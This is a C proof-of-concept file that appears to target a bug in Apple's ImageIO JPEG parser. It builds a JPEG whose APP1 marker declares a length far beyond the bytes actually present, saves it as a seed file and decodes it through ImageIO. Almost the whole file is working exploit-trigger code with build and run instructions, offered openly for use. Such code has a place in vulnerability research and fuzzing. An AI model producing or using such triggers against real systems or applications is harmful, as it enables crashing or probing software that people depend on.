// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634 // JPEG marker length beyond the bytes present // C twin of the Swift POC: builds the marker-overrun JPEG and decodes it through ImageIO. // Build: clang -O2 -o cve-2026-112634 CVE-2026-112634.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112634 [declared] [actual] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } // ── seed construction (from Cinder27 Sources: JPEGPayload.markerLength) ── static buf jpeg_marker_length(int declared, int actual) { buf out = {0}; bcat(&out, "\xff\xd8", 2); // SOI bcat(&out, "\xff\xe1", 2); // APP1 bput(&out, (declared >> 8) & 0xff); bput(&out, declared & 0xff); int body = actual - 2 > 0 ? actual - 2 : 0; brep(&out, 0x41, body); bcat(&out, "\xff\xd9", 2); // EOI return out; } // ── trigger: decode through ImageIO ── #include #include #include static int decode_image(const buf *img, const char **detail) { CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); if (!cf) { *detail = "CFDataCreate failed"; return -1; } CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); CFRelease(cf); if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } size_t frames = CGImageSourceGetCount(src); CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); static char r[256]; if (cg) { snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); CGImageRelease(cg); } else { snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); } CFRelease(src); *detail = r; return cg ? 0 : -1; } int main(int argc, char **argv) { int declared = argc > 1 ? (int)strtol(argv[1], NULL, 0) : 0xFFEE; int actual = argc > 2 ? atoi(argv[2]) : 30; buf jpeg = jpeg_marker_length(declared, actual); FILE *f = fopen("marker_length.jpg", "wb"); if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); } const char *detail = NULL; int rc = decode_image(&jpeg, &detail); printf("CVE-2026-112634 · APP1 declares 0x%x, file carries %d B · %s\n", declared, actual, detail ? detail : "?"); printf("seed: marker_length.jpg (%zu B) · exit code %d\n", jpeg.n, rc); bfree(&jpeg); return rc == 0 ? 0 : 1; }